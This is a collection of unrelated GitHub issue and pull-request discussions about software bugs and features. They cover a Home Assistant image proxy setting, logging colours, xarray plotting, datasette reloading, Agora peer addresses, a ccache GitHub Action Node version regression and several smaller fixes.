Added optional setting http_proxy to push_image

This will allow the user to set up an external reverse proxy to have the HA instance operate on HTTPS and push_image use that reverse proxy to avoid using HTTPS traffic processing on the plate.
Besides now working around a bug in the libraries that kills SSL traffic on the plates, it will also allow the plate not to deal with SSL encrypted connections at all (even when it is working again) to save processing power.

Naming this "http_proxy" is misleading, what you are doing is defining the HA as another hostname

Naming this "http_proxy" is misleading, what you are doing is defining the HA as another hostname

So, maybe ALIAS is a better moniker?

Why don't you move the SSL to the reverse proxy ? and leave the internal HA without SSL ? (that's actual the most common approach)

It is not misleading, no more as the proxy settings in a Linux shell or in a web browser. It is a designated address you divert the request to to proxy it to a different protocol.
I have my HA instance reachable from the web and everywhere in the app, special port and https only, to make sure everything works I use this address locally and externally. The only way to do it secure without using the cloud services from nabu casa.

proxy settings in a Linux shell or browser are used by the client, your OpenHASP plate is the client... not HA (this component is the server) - that is why naming it http_proxy is misleading.
If you run a local reverse proxy, the proper way is to move SSL termination to the reverse proxy and offload SSL from HA. This way your internal devices can access HA without SSL while external access uses SSL https://www.home-assistant.io/integrations/http/#reverse-proxies

proxy settings in a Linux shell or browser are used by the client, your OpenHASP plate is the client... not HA (this component is the server) - that is why naming it http_proxy is misleading.

This is not entirely accurate, from my viewpoint: The integration is sending the plate an image configuration (width, height, url and a command to start loading that image). Which then gets used by the plate as cliënt to execute the desired action. As such, what you do with the HA integration in the automation is configuring the client to use a proxy. Just like you configure it to load specified image.
The reverse proxy in this case is on the local network, nobody and nothing will be able to use it from the outside. I think the solution I have set up is generally more secure then to use a proxy to offload ssl traffic for the outside world. The way I did it, every connection to HA is secured. The proxy is configured to allow only access to the plates. Nothing else can use it.

Is this still active?

I would definitely prefer to have this in a next release, yes.
It's just an alternative access for https hosted images...
Op 12 mei 2024 14:54, om 14:54, fvanroie @.***> schreef:

Is this still active?
--
Reply to this email directly or view it on GitHub:
https://github.com/HASwitchPlate/openHASP-custom-component/pull/117#issuecomment-2106237814
You are receiving this because you authored the thread.
Message ID:
@.***>

It required no modifications for the merge with the release version.

I think http_proxy is not the write term... I would call it external URL

The thing is though... it is not an external URL at all. It is meant to be used within the secured environment.
With HA running with a https connection secured with a certificate, it will no longer listen on HTTP. That is why the protocol proxy is needed to allow HTTP access to an otherwise HTTPS secured location of an image. This is required to allow the plate to load a dynamic image source from a different HA component (in my case, it loads the image of the doorbell camera).
We went over this... I thought I was clear enough in my explanation before.

I think http_proxy is not the write term... I would call it external URL

The thing is though... it is not an external URL at all. It is meant to be used within the secured environment.
With HA running with a https connection secured with a certificate, it will no longer listen on HTTP. That is why the protocol proxy is needed to allow HTTP access to an otherwise HTTPS secured location of an image. This is required to allow the plate to load a dynamic image source from a different HA component (in my case, it loads the image of the doorbell camera).
We went over this... I thought I was clear enough in my explanation before.

I never said I agree :) but I leave to @fvanroie to make the final call


When testing connection for destination, when the password is invalid UI should display more readable error

Currently I only see this:

Add error messages under the 'test connection' button.

thanks


Add --unsigned flag

This flag will prevent signing. A warning is issued unless in silent mode.

Meh, unsigned being the default has been working well so far. Enable system-wide signing using global git configuration instead.


color support

is it possible to output levels in different colors?

Do you want to make the whole line in color or just the text in the level field?

just the text in the level field

You can do it this way using fatih/color package:
package main

import (
        "os"

        "github.com/fatih/color"
        "github.com/francoispqt/onelog"
)

func main() {
        onelog.LevelText(onelog.INFO, color.CyanString("INFO"))

        var l = onelog.New(os.Stdout, onelog.ALL)
        l.Info("foo")
}

If you want you can submit a PR to add a helper method to onelog to set the colors.

I'm closing this issue as it can be achieved with the current customisation features.


feat(collector): support more table-level rocksdb perfcounter

What problem does this PR solve?

see https://github.com/apache/incubator-pegasus/pull/774
the code is auto-generated and modified base https://github.com/apache/incubator-pegasus/pull/799, please merge it firstly.

Checklist
Tests

Manual test (add detailed scripts or steps below)

Related changes

Need to cherry-pick to the release branch
Need to update the documentation
Need to be included in the release note

Perfcounter
+ collector*app.pegasus*app.stat.rdb_read_amplification#table
+ collector*app.pegasus*app.stat.rdb.write_amplification#table
+ collector*app.pegasus*app.stat.rdb.read_memtable_hit_rate#table
+ collector*app.pegasus*app.stat.rdb.read_l0_hit_rate#table
+ collector*app.pegasus*app.stat.rdb.read_l1_hit_rate#table
+ collector*app.pegasus*app.stat.rdb.read_l2andup_hit_rate#table

Can you add some readme documents in your py file?


add scatter plot method to dataset

Follow up on original plotting

+1
Especially useful when using unstructured spatial datasets like observation stations.
import xarray as xr
nstations = 9
data = np.random.random(size = nstations)
longitude = np.random.random(size = nstations) + -90
latitude = np.random.random(size = nstations) + 40
da = xr.DataArray(np.random.random(nstations ), dims = ['station'], coords = dict(longitude = ('station', longitude), latitude = ('station', latitude))
da.scatter(x = 'longitude', y = 'latitude')

This certainly could be useful, but since this is essentially plotting a vector of data, why not just drop into pandas?
df = da.to_dataframe()
# Could reset coordinates if you really wanted
# df = df.reset_index()
df.plot.scatter('longitude', 'latitude', c=da.name)

Patching in this rough functionality into the plotting module should be really straightforward, maybe @jhamman has some tips?

In the absence of a dedicated method, it is possible to obtain a scatterplot with the keyword options to plot.line():
rho_so_remap.plot.line(marker='o',linewidth=0.)

@aidanheerdegen Thanks for the code. I suppose it's better to mention this method for DataArray in User Guide. @dcherian
Should I create a PR for example like this?
air = xr.tutorial.open_dataset("air_temperature")['air']

air.isel(lon=10, lat=[19, 21, 22]).plot.line(x="time", marker='o',linewidth=0.,markersize=1)


Deflake fix

Fixes #
Description
How was this change tested?

Does this change impact docs?

[ ] Yes, PR includes docs updates
[ ] Yes, issue opened: #
[ ] No

Release Note

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

358 of 508 (70.47%)  changed or added relevant lines in 29 files are covered.
22 unchanged lines in 9 files lost coverage.
Overall coverage decreased (-0.5%) to 81.39%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

pkg/apis/awsnodetemplate/v1alpha1/awsnodetemplate_validation.go
0
1
0.0%

pkg/controllers/state/node.go
1
3
33.33%

pkg/controllers/state/pod.go
1
3
33.33%

pkg/scheduling/hostportusage.go
11
13
84.62%

pkg/cloudprovider/aws/cloudprovider.go
20
23
86.96%

pkg/cloudprovider/aws/fake/ec2api.go
21
27
77.78%

pkg/events/recorder.go
0
9
0.0%

pkg/utils/env/env.go
0
10
0.0%

pkg/cloudprovider/aws/fake/atomic.go
67
79
84.81%

pkg/controllers/state/cluster.go
62
79
78.48%

Files with Coverage Reduction
New Missed Lines
%

pkg/cloudprovider/aws/instance.go
1
76.13%

pkg/cloudprovider/aws/amifamily/resolver.go
2
89.29%

pkg/cloudprovider/aws/apis/v1alpha1/provider.go
2
39.13%

pkg/cloudprovider/aws/fake/ec2api.go
2
94.73%

pkg/cloudprovider/aws/launchtemplate.go
2
64.77%

pkg/controllers/provisioning/scheduling/inflightnode.go
2
97.62%

pkg/cloudprovider/aws/amifamily/userData.go
3
83.33%

pkg/cloudprovider/aws/cloudprovider.go
3
39.2%

pkg/controllers/state/cluster.go
5
88.02%

Totals

Change from base Build<PHONE_NUMBER>:
-0.5%

Covered Lines:
5410

Relevant Lines:
6647

💛  - Coveralls


Serve all db files in a folder

I tried to get the serve command to serve all the .db files in the /mnt folder but is seems that the server does not refresh the list of files.
In more detail:

Starting datasette as a docker container with:

docker run -p 8001:8001 -v `pwd`:/mnt \
    datasetteproject/datasette \
    datasette -p 8001 -h <IP_ADDRESS> /mnt

Datasette correctly serves all the *.db files found in the /mnt folder
When the server is running, if I copy a new file in the $PWD folder, Datasette does not seem to see the new files, forcing me to restart Docker.

Is there an option/setting that I overlooked, or is this something missing?
BTW, the --reload setting, although at first glance is what you think you need, does not seem to do anything in regards of seeing all *.db files.
Thanks!

There is no such option see https://github.com/simonw/datasette/issues/43

Would it make sense to run datasette with a fswatch/inotifywait on a folder, then?

@glasnt yeah I guess that could be an option.  I run datasette on large databases > 75gb and the startup time is a bit slow for me even with -i --inspect-file options. Here's a quick sketch for a plugin that will reload db's in a folder that you set for the plugin in metadata.json. If you request /-reload-db new db's will be added. (You probably want to implement some authentication for this =) )
`from datasette.database import Database
from datasette import hookimpl
from datasette.utils.asgi import Response
import os
async def reload_db(datasette):
spec = datasette.plugin_config('datasette-reload-db')
db_dir = os.listdir(spec['dir'])
databases = datasette.databases
for db in databases:
if db == '_internal':
continue
datasette.remove_database(db)
for db in db_dir:
    datasette.add_database(Database(
        datasette,
        path=os.path.join(spec['dir'], db),
        is_mutable=True
    ))
return Response.redirect('/')

@hookimpl
def register_routes():
return [
(r"^/-reload-db", reload_db)
]
@hookimpl
def menu_links(datasette):
return [
{"href": datasette.urls.path("/-reload-db"), "label": "Reload Databases"},
]
`


Moving previous Demo (2.4.16) to examples

Added:
https://travis-ci.org/ev3dev-lang-java/examples/builds/465329555


Reformat, use secrets.GITHUB_TOKEN everywhere in CI

Signed-off-by: Patrik Stas<EMAIL_ADDRESS>

Codecov Report

Merging #563 (6f8a0ee) into main (b9d817e) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main     #563   +/-   ##
=======================================
  Coverage   60.93%   60.93%
=======================================
  Files         175      175
  Lines       17998    17998
  Branches     3966     3966
=======================================
  Hits        10967    10967
  Misses       2847     2847
  Partials     4184     4184

Flag
Coverage Δ

integration-aries-vcx
49.64% <ø> (ø)

unittests-agency-client
25.97% <ø> (ø)

unittests-aries-vcx
54.54% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.
Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Create a new release using #34

Right now I had to fork cosm-orc to use the current revision for cosm-tome.
However this did prove Key::Raw works in a real world setting 100%. https://github.com/CronCats/croncat-rs/pull/111

Sorry for the delay here, I was out of town.
Getting to this now.

I released cosm-tome version0.2.0
I made the cosm-orc PR: https://github.com/de-husk/cosm-orc/pull/71 and I will merge and bump versions once the rust nightly issue is fixed and the build is green.

This has been done


Font causes crashing

If a text file contains an emoji, the terminal will crash
On occasion, I've come across an issue where I'll try to edit a text file containing an emoji. Once I open the file with any software (Vim, cat, less, etc.) the entire terminal will catastrophically fail, causing the entire terminal to automatically close.
This issue has already been accounted for by the Suckless team, and they have a patch for this exact type of issue on this page:
https://st.suckless.org/patches/font2/

Issue resolved. See the fonts branch for commits on how it was applied.
Note: The latest commit in the fonts branch is a merge from the scroll branch. To see the actual font patch being applied, check commit 1097764.


Can't edit doc page

Describe the bug
I can't edit the bookmarks page to fix a typo.
To Reproduce
On the https://vscode-sqltools.mteixeira.dev/en/features/bookmarks page I click the "Edit this page" link to fix the typo where "assing a keybind" should be "assign a keybinding" and I get this:
404 - page not found
The dev branch of vscode-sqltools does not contain the path docs/src/pages/en/features/bookmarks.html.mdx.
Expected behavior
I should be able to edit the page.

Please use the procedure documented(!) at https://vscode-sqltools.mteixeira.dev/en/contributing/documentation
We will remove the 'Edit this page' option.


Please add s390x to releases page

dev appears to build cleanly on s390x. As it is requred for the dev-ex project, it would be very advantageous to have the s390x platform listed on the releases page, as this would make for a uniform installation script.
Thank you.

Dep was officially deprecated earlier this year, and the proposal to archive this repository was accepted. As such, I'm closing outstanding issues before archiving the repository. For any further comments, please use the proposal thread on the Go issue tracker. Thanks!


Set article info for pages

@samjwu how come the date is off?

@samjwu how come the date is off?

it turns out Read the Docs uses git version 2.17.1, which does not support the %cs format option
https://github.com/RadeonOpenCompute/rocm-docs-core/pull/163 uses an older format that is supported

Please change to PyPi package.

I don't think realign reqs will work, don't we have to publish to PyPi?


Improved Color Palette UI

Fixes #205
Describe the changes you've made
Changes made exactly according to what I mentioned in the linked issue
Type of change

[X] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Code style update (formatting, local variables)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] This change requires a documentation update

Mention any unusual behaviour of your code (Write NA if not)
NA
Checklist:

[X] My code follows the guidelines of this project.
[X] I have performed a self-review of my own code.
[X] I have commented my code, particularly whereever it was hard to understand.
[X] My changes generate no new warnings.
[X] Any dependent changes have been merged and published in downstream modules.

@ankitapuri @adarshvulli  Could you please review this? So I can make the PR for the eraser tool once this is merged


Setting prompt="" instead of None, as None causes empty output for some presigned URLs

Setting prompt="" instead of None, as None causes empty output for some presigned URLs

Setting prompt="" instead of None, as None causes empty output for some presigned URLs

Are you sure about this? Because by setting it to an empty string, it will change the default faster-whisper behavior: https://github.com/guillaumekln/faster-whisper/blob/5c17de17713f65929c7c33add3a9735ff75a945c/faster_whisper/transcribe.py#L174

I just read the issue associated with this PR. Do you have a traceback or an URL to see how it goes on my end?


Integration tests is sending requests to <IP_ADDRESS>

Just do a docker-compose up and see the logs:
node-3_1  | 2020-07-22 08:03:04,541 Trace [agora.network.NetworkClient] - Request 'getPublicKey' to http://<IP_ADDRESS>:3826 failed: Failed to connect to <IP_ADDRESS>:3826: refused
node-3_1  | 2020-07-22 08:03:04,541 Trace [agora.network.NetworkClient] - Request 'getPublicKey' to http://<IP_ADDRESS>:2826 failed: Failed to connect to <IP_ADDRESS>:2826: refused
node-3_1  | 2020-07-22 08:03:06,43 Trace [agora.network.NetworkClient] - Request 'getPublicKey' to http://<IP_ADDRESS>:4826 failed: Failed to connect to <IP_ADDRESS>:4826: refused
node-3_1  | 2020-07-22 08:03:06,43 Trace [agora.network.NetworkClient] - Request 'getPublicKey' to http://<IP_ADDRESS>:3826 failed: Failed to connect to <IP_ADDRESS>:3826: refused
node-3_1  | 2020-07-22 08:03:06,44 Trace [agora.network.NetworkClient] - Request 'getPublicKey' to http://<IP_ADDRESS>:2826 failed: Failed to connect to <IP_ADDRESS>:2826: refused

I don't see why we would ever send a message to <IP_ADDRESS> ?

We have this function: https://github.com/bpfkorea/agora/blob/a108551600f3991726364cd90cb303a27cabc324/source/agora/network/NetworkManager.d#L819-L831
Notice that it's using NodeConfig.address, which is not the node address. It is a netmask, most of the time <IP_ADDRESS>.
This getAddress function is used when a handshake is completed: https://github.com/bpfkorea/agora/blob/a108551600f3991726364cd90cb303a27cabc324/source/agora/network/NetworkManager.d#L403-L404
This means that we register <IP_ADDRESS> as listener, which the node can never reach. Not to mention registerListener is an obvious DoS attack because one can register addresses of server to make the network DoS that target. We need to re-think our strategy here.

Copying my comments from slack:
It was a workaround, not a permanent solution.
Actually it was only a workaround because the quorum sets were not known. We could remove it entirely now that we know which nodes listen to each other.

Actually, is there a way to get the connecting address in vibe.d? Then it could just become register() without the parameter.

Although for localrest it's a different story.

Yeah I think we should move to "establish connection" instead of "register listener".

Although for localrest it's a different story.

Yeah it just works.

How does it "just work"? There's no way of getting the "address" of the connecting node.

Command.sender

I mean we will still need some way of feeding that into Agora.

I thought this might actually be simpler than I originally thought. Shouldn't it be possible to:

Remove registerListener from the interface
Keep registerListener as a public method in FullNode
Register a path manually in vibe.d, something like:

router.route("/register_listener")
    .post((scope HTTPServerRequest req, scope HTTPServerResponse res)
    {
        import std.format;
        string addr = format("%s:%s", req.clientAddress.toAddressString(),
            req.clientAddress.port());
        node.registerListener(addr);
        res.statusCode = 200;
        res.writeVoidBody();
    });

Calling this before registerRestInterface. Would this work?

But it was just an experiment, it's likely missing a lot of stuff.

I can see the logs as follows with the command, docker-compose up.
node-1_1  | [main(s17F) INF] Listening for requests on http://<IP_ADDRESS>:3826/
node-2_1  | Task terminated with uncaught exception: Request failure to http://<IP_ADDRESS>:3826 after 5 attempts
node-0_1  | Task terminated with uncaught exception: Request failure to http://<IP_ADDRESS>:4826 after 5 attempts
node-0_1  | Task terminated with uncaught exception: Request failure to http://<IP_ADDRESS>:3826 after 5 attempts
node-3_1  | Task terminated with uncaught exception: Request failure to http://<IP_ADDRESS>:3826 after 5 attempts

The goal of this issue is that the NetworkManager doesn't have invalid addresses like <IP_ADDRESS>.
I think @AndrejMitrovic 's suggestion which is using vibe.d would be a good start. @AndrejMitrovic , Thank you for your help.
After writing code as @AndrejMitrovic suggested, I will open a PR and also be searching for other solutions.

It would be good to get feedback from @Geod24 because he's used and worked on vibe.d for much longer than I have. He probably knows a better way to do this.

My preference would be to have a connection established between nodes that is kept alive, and have all requests going through it. That would completely alleviate the need for register listener, but it needs quite some work on the Vibe.d side.
The first step is to establish a connection and keep it alive, and registered on both sides. That should be enough for a node to "establish" a listener. and whenever it gets something it needs to gossip, it can do so on the connection directly. No need to use the same connection for queries at the beginning.
The second step is to separate the validator and full nodes connections into two pools. We always need to communicate with (all) validators, but full nodes are common, and we might want a smarter strategy to talk to them (e.gg. round robin). In order to do this separation, we need to add an optional handshake phase, where nodes send their public key, if any. Remember that it could be 2 validators, 2 full nodes, or 1 full node 1 validator.
To further this, we might want to add the ability to promote / demote a connection from one pool to the other, e.g. when a validator's enrollment start / expire. We surely need to remove those who expire from our set, or at least demote them.
The last step would be to change things so that we can use a connection with a RestInterfaceClient.
At the moment we can just get away with step 1 (for this very issue).

My preference would be to have a connection established between nodes that is kept alive, and have all requests going through it.

I think that's what vibe.d already does under the hood? At least that's my impression from reading through RestInterfaceClient / requestHTTP / connectHTTP.
We probably need to change defaultKeepAliveTimeout to a sensible default (it's set to 10 seconds).

However vibe.d does keep its own internal pool for all connections, and I'm not sure how easy it is to override this with our own connection pools. There's lots of things in the client which are protected which appear to make it customizable, but it's a guess how well this would work.

I think that's what vibe.d already does under the hood?

Yes but we have no way to tap into that. And we can't rely on it, because the pool has an eviction strategy. You don't want to loose a connection with a validator because suddenly an attacker is sending you a burst of connections / messages and you just evicted this other connection which wasn't as active.

Yes indeed.

From reading your comments, we need to manage connections in two types of pools, like validator_conns, fullnode_conns. Before that, I guess we also need to get the right information about connections not like '<IP_ADDRESS>..  Which is the right way to get the information between overriding the protectedfunctions and registering a path manually invibe.d` as @AndrejMitrovic suggested?

I found out that the defaultKeepAliveTimeout of the HTTPClientSettings and the keepAliveTimeout of the HTTPServerSettings does not support the TCP Keepalive. Please refer to the vibe.d code below.
Calculating the m_keepAliveLimit from the m_keepAliveTimeout in HTTPClientSettings
Using the m_keepAliveLimit in HTTPClientSettings
Using the ‘m_keepAliveTimeout` in HTTPServerSettings
I think we should think of other approaches.

Note: This is a pretty good resource: https://tldp.org/HOWTO/TCP-Keepalive-HOWTO/overview.html


Version 1.2.12 fails to work on CentOS7, but 1.2.11 was fine

Thus, this action fails to work where it was used via @v1.2.
Please, remove this release or re-release as v1.2.14 the backward-compatible version.
The problem is hidden in the cache action version 3.2.3 (PR #175), that introduces node20 dependency.
I suggest to re-release the update as v1.3 or even v2, because actually It is not a "minor fix".

Thanks for the report.
Is this a custom runner image? CentOs7 is not listed at https://github.com/actions/runner-images.
To set expectations right: I can't provide any support for this.

that introduces node20 dependency

you probably saw the merge commit, the change is here: https://github.com/hendrikmuhs/ccache-action/pull/177
The reason is this.

It is not a "minor fix".
You are right about classification, however I would also not make a big deal out of it. It should be totally fine for you to stay on version 1.2.11. I don't have the capacity to maintain 2 versions, especially as node 16 is EOL anyway. You might as well fix it on your side if you are using a custom runner.

Anyway, can you explain your setup in more detail and if possible provide logs?
Are you effected by this?
Can you confirm that you can execute node 18?
If so, downgrading to node 18 might be the better alternative. I would love to avoid maintaining 2 versions.

Also occurs with workflows utilizing older docker images.
See
https://github.com/danmar/cppcheck/actions/runs/7677304162/job/20926809147?pr=5917
https://github.com/danmar/cppcheck/pull/5918

It also seems like this caused a major slowdown in the Post  step - it now takes way above 2 minutes instead of being of a few seconds:
Before: https://github.com/danmar/cppcheck/actions/runs/7646437504/job/20835239981
After: https://github.com/danmar/cppcheck/actions/runs/7681894296/job/20935549647?pr=5918
The jobs fixated on the 1.2.11 version are not experiencing this and are much faster with way less data to cache:
https://github.com/danmar/cppcheck/actions/runs/7681894302/job/20935550032?pr=5918

@firewave
You're 1st problem is similar to the reported one, you are running it inside a custom image. That image seems to lack node 20. It would be nice if you could find out if node 18 would work.
It would be technically better if you run the action outside of docker(on the official github runner) and use docker only for building. This requires exposing the host fs and setting the ccache path accordingly like it is done here.
There is no alternative to an upgrade of the nodejs version, node 16 is EOL as clearly stated by github. However we are flexible w.r.t. upgrading it to 18 vs. 20.
Your 2nd problem: It ran slower, because it did not found a cache. This seems like a different problem, which might or might not be caused by the upgrade of nodejs. For such cases it is best to let it run a 2nd time to see if the problem persists. It might be that the underlying github cache layer puts something more into the key. A 2nd run should get the cache from the 1st run.

@hendrikmuhs , we use containers for CentOS:7. Imho, there is no need to maintain two versions. Please, do not introduce such a dramatical change with the patch version increment next time :) Probably, there is no action actually needed ATM, because all poor projects, unhappy with the nodejs hidden version shift will stick  with the 1.2.11 after reading this thread.

@iakov
As said, there has never be a guarantee that custom runners work. All official github runners support node 20.
Repeating my question: Would node 18 work? - if you or anyone else effected can answer this question, I happily change this, otherwise it stays at it is. I don't have the resources to test this myself.

Thank you. Node18 does not help. Node18 requires newer GLIBC and is incompatible with Ubuntu 18.04 and other obsolete/EOL releases. The only thing I ask you is about versioning. We are happy to use unsupported older 1.2 version of your action as we do with checkout@v3, it works fine. I kindly as you to tag release as v2 or at least v1.3 for new features with new incompatible dependencies. However, maybe those few projects with broken CI and CD will come to this thread for solution and choose to stick with 1.2.11 until build server update.

I second to start a new version for this change and leave v1.2 on Node 16.

Your 2nd problem: It ran slower, because it did not found a cache. This seems like a different problem, which might or might not be caused by the upgrade of nodejs. For such cases it is best to let it run a 2nd time to see if the problem persists. It might be that the underlying github cache layer puts something more into the key. A 2nd run should get the cache from the 1st run.

It did find a cache. Otherwise it would not have been able to restore that and have any hits. Here's the same results from a main branch build after the version has been fixated for the docker-based workflows:
1.2.11: https://github.com/danmar/cppcheck/actions/runs/7687753684/job/20948156884
1.2.12: https://github.com/danmar/cppcheck/actions/runs/7687753675/job/20948156975
The stats are different because different ccache version are being used. So I wondered if this might just be an issue with the newer version of that but that is refuted by a build on a newer platform which also uses 1.2.11:
https://github.com/danmar/cppcheck/actions/runs/7687753684/job/20948157383
More 1.2.12 cases on various runners without docker involved:
https://github.com/danmar/cppcheck/actions/runs/7687753687
I do assume this is actually a Node issue and I will file an issue upstream. We should also track this in a different issue within this repo.

@firewave
You might have a problem with cache eviction as I see many many jobs. Back to your initial post:

It did find a cache. Otherwise it would not have been able to restore that and have any hits.

This is from your run:
Run<EMAIL_ADDRESS>Install ccache
Restore cache
  No cache found.
Configure ccache, linux

Source:

After: https://github.com/danmar/cppcheck/actions/runs/7681894296/job/20935549647?pr=5918

The parallel issue https://github.com/actions/runner/issues/2906 reports some success after downgrade, however https://github.com/nodejs/node/blob/v18.x/BUILDING.md#platform-list clearly states the newer glibc for x64.
In general I advise not to use tag sliding. I slide the tag on release, but I consider this bad practice. The suggested practice is an explicit version in combination with dependabot.
The action has very little QA coverage especially when it comes to exotic setups.

I am seeing the same issue with older Ubuntu docker images. Version @1.2.11 seems to work, but @v1 fails.
https://github.com/robotraconteur/robotraconteur/actions/runs/7691430275

Alright, I think here is what we should do:

revert the switch to node 20 back to 16 and release it as 1.2.13 with tags for v1 and v1.2
add a note in the Readme
jump to node 18 on main and release it as v2 and go forward from there

If you want to help:

it would be nice to setup a test that executes the action in a custom environment, e.g. an ubuntu 16.04 container

Alright, I think here is what we should do:

revert the switch to node 20 back to 16 and release it as 1.2.13 with tags for v1 and v1.2
add a note in the Readme
jump to node 18 on main and release it as v2 and go forward from there

Agreed!

If you want to help:

it would be nice to setup a test that executes the action in a custom environment, e.g. an ubuntu 16.04 container

Can do.

I am ready to test new tags for obsolete builders. You are free to send a PRs with changes in this line https://github.com/trikset/trikRuntime/blob/master/.github/workflows/centos.yml#L73 , or I can do it by request.

Even with fixating to version 1.2.11 the two minute hang is now present because the underlying runners have all been updated to Node 20.


--version doesnt work properly.

PS C:\Users\user1\Desktop\core 3> mkdir base63tooltest

    Directory: C:\Users\user1\Desktop\core 3

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        9/27/2019  12:47 PM                base63tooltest

PS C:\Users\user1\Desktop\core 3> cd .\base63tooltest\
PS C:\Users\user1\Desktop\core 3\base63tooltest> dotnet new tool-manifest; dotnet tool install base64urls --ve
rsion 1.1.0;  dotnet tool install base64urls --global;
The template "Dotnet local tool manifest file" was created successfully.
You can invoke the tool from this directory using the following commands: 'dotnet tool run base64urls' or 'dotnet base64urls'.
Tool 'base64urls' (version '1.1.0') was successfully installed. Entry is added to the manifest file C:\Users\user1\Desktop\core 3\base63tooltest\.config\dotnet-tools.json.
You can invoke the tool using the following command: base64urls
Tool 'base64urls' (version '1.1.1') was successfully installed.
PS C:\Users\user1\Desktop\core 3\base63tooltest> base64urls
Usage: base64urls [-version] [-help] [decode|encode|escape|unescape] [args]
E.g., run this: base64urls decode QyMgaXMgYXdlc29tZQ==
E.g., run this: base64urls encode "C# is awesome."
E.g., run this: base64urls escape "This+is/goingto+escape=="
E.g., run this: base64urls unescape "This-is_goingto-escape"
PS C:\Users\user1\Desktop\core 3\base63tooltest> base64urls --version
base64urls v<IP_ADDRESS>
PS C:\Users\user1\Desktop\core 3\base63tooltest>

v<IP_ADDRESS> is not the version reported by the dotnet tool install or nuget.

1.2.0 released. it fixed the issue. please wait until published nuget package is available.

Nice work!


Uncaught Error: Cannot find module 'weaverjs'

Hello,
I recently updated to 2.0.0, I am getting this error in the browser when running cytoscape. I am on cytoscape 3.2.7

Same problem and error here. Any help available? Thanks!

Use cytoscape-weaver@3 and cytoscape@3


add spi_display with mipidsi example for rp pico

This PR is another example of rp spi display but using the generic mipidsi crate (https://github.com/almindor/mipidsi).
I used the GC9A01 round AMOLED display as I have thi one on hand.
Unfortunately the GC9A01 model has been added recently to mipidsi and is not in v0.7.1 tag (latest). So I use the git version for now.

FYI the CI needs to pass before the PR can be merged.

FYI the CI needs to pass before the PR can be merged.

the broken CI is due to spi_display using crate ST7789 v0.6.1 relying on crate embedded-graphics v0.7.1 (embedded-graphics-core v0.3.3) to do the display.clear()... since then ST7789 crate author created the mipidsi crate as a generic middleware and marqued it as deprecated (https://github.com/almindor/st7789/commit/e18dc571c1e2adb56bf9c6511887845b852f69c6).
I am trying to update the current spi_display example to mipidsi/display-interface-spi middleware (just like the example I created which is the object of this PR), but because spi_display example use a shared SPI bus for LCD and touch, I don't managed to do it...

For reference, both these spi display example use blocking SPI. Async support in mipidsi and display-interface is on the way (https://github.com/almindor/mipidsi/pull/63 and https://github.com/therealprof/display-interface/pull/37) but not yet ready...

here is the current spi_display example updated with new mipidsi/display-interface-spi middleware, but CI still broken due to the blocking shared SPI bus as mentionned above...

@pennae?

i have a functional version with async SPI, but it rely on non experimental mipidsi and display-interface crates (not the officials ones), so i think we can wait for them to merge first.

Sorry, but I only work on stm32, so I can't help you further. I was just trying to give you a few tips, but as it appears that there is a deeper issue, I'm going to bail out.

@Georges760 it looks like GC9A01 is on v0.8.0, maybe this can be merged now?

Great I will have a look today. Thx

When #3464 will be merged, I will be able to update this PR with newest dependencies.

@lulf thx for merging #3467, for this other example on RP2040, I have the hardware and test is OK


Any update on this?

I was wondering if there's any update on this, happy to do some testing if you need that.
Thanks!

We were working with TrueNAS to make this a priority, but this has since fallen behind as we don't have enough resources to keep up with it.
Sorry. Once we can update it, we will.


Are persistent subcollections supported?

I found nothing about saving Firestore subcollections.
Could you send me an example of how to do this?
Thanks for your helping.

Hi @cmargulhano - Catatumbo framework supports Fire Store only when running in Datastore mode (https://cloud.google.com/datastore/docs/). So, data model should conform to the one supported by Datastore.


Un-revert the actual changes

Co-Authored-By: Ash Ranjan<EMAIL_ADDRESS>

git checkout origin/records-better-fixed python/*
This should be the same as #29 if it were well-behaved

git checkout origin/records-better-fixed python/*
This should be the same as #29 if it were well-behaved


Error in GithubResourceIT

Using a GitHub account with 2-factor auth disabled (standard username/pass login).  Executed by: mvn clean install -Pit (Arquillian WildFly 10.0.0.Final Managed Adaptor)
Test fails with timeout:
should_fork_jboss_eap_quickstarts(org.rhd.katapult.test.services.GithubResourceIT)  Time elapsed: 98.85 sec  <<< ERROR!
com.gargoylesoftware.htmlunit.ScriptException: Exception invoking setHref
	at org.rhd.katapult.test.services.GithubResourceIT.should_fork_jboss_eap_quickstarts(GithubResourceIT.java:77)
Caused by: java.lang.RuntimeException: Exception invoking setHref
	at org.rhd.katapult.test.services.GithubResourceIT.should_fork_jboss_eap_quickstarts(GithubResourceIT.java:77)
Caused by: java.lang.RuntimeException: org.apache.http.conn.ConnectTimeoutException: Connect to <IP_ADDRESS>:8080 [/<IP_ADDRESS>] failed: connect timed out
	at org.rhd.katapult.test.services.GithubResourceIT.should_fork_jboss_eap_quickstarts(GithubResourceIT.java:77)
Caused by: org.apache.http.conn.ConnectTimeoutException: Connect to <IP_ADDRESS>:8080 [/<IP_ADDRESS>] failed: connect timed out
	at org.rhd.katapult.test.services.GithubResourceIT.should_fork_jboss_eap_quickstarts(GithubResourceIT.java:77)
Caused by: java.net.SocketTimeoutException: connect timed out
	at org.rhd.katapult.test.services.GithubResourceIT.should_fork_jboss_eap_quickstarts(GithubResourceIT.java:77)

Server hangs here:
2016-04-07 17:37:50,511 INFO  [org.wildfly.extension.undertow] (ServerService Th
read Pool -- 24) WFLYUT0021: Registered web context: /katapult
2016-04-07 17:37:50,568 INFO  [org.jboss.as.server] (management-handler-thread -
 3) WFLYSRV0010: Deployed "application-ear.ear" (runtime-name : "application-ear
.ear")
2016-04-07 17:37:51,659 INFO  [org.rhd.katapult.github.GithubResource] (default
task-1) Request to fork repository: jboss-developer/jboss-eap-quickstarts
2016-04-07 17:37:52,287 INFO  [org.rhd.katapult.github.GithubResource] (default
task-1) OAuth2 response: Found

The fork operation did succeed on the test account:

Looks like hanging on an attempt to connect to a local host:
org.apache.http.conn.ConnectTimeoutException: Connect to <IP_ADDRESS>:8080 [/<IP_ADDRESS>] failed: connect timed out
